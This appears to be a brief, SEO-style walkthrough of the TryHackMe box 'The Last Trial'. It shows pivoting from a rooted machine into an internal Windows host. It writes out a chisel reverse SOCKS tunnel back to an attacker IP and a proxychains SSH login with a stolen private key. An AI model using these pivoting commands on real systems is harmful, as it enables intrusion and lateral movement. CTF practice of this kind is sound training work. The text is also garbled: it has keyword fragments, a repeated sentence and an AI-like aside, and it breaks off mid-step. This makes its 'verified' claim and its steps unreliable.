The Last Trial Tryhackme Verified Guide

The Last Trial is a challenging TryHackMe box that requires a combination of skills and knowledge to exploit. In this article, we will walk through the steps to gain access to the box, escalate privileges, and ultimately achieve root access. This walkthrough is verified and tested, ensuring that you can follow along and achieve the same results.

With root on Machine 1, you find a .ssh/id_rsa key belonging to john. Machine 2 (IP 172.17.0.2) is internal. Use chisel to pivot: the last trial tryhackme verified

On attacker:

./chisel server -p 8000 --reverse

On Machine 1 (root):

./chisel client YOUR_IP:8000 R:socks

Use proxychains to SSH into Machine 2:

proxychains ssh -i john_key john@172.17.0.2

Machine 2 is Windows Server 2019. This is where The Last Trial becomes a Windows privilege escalation nightmare. The Last Trial is a challenging TryHackMe box

As of my latest knowledge (and per community write-ups): On Machine 1 (root):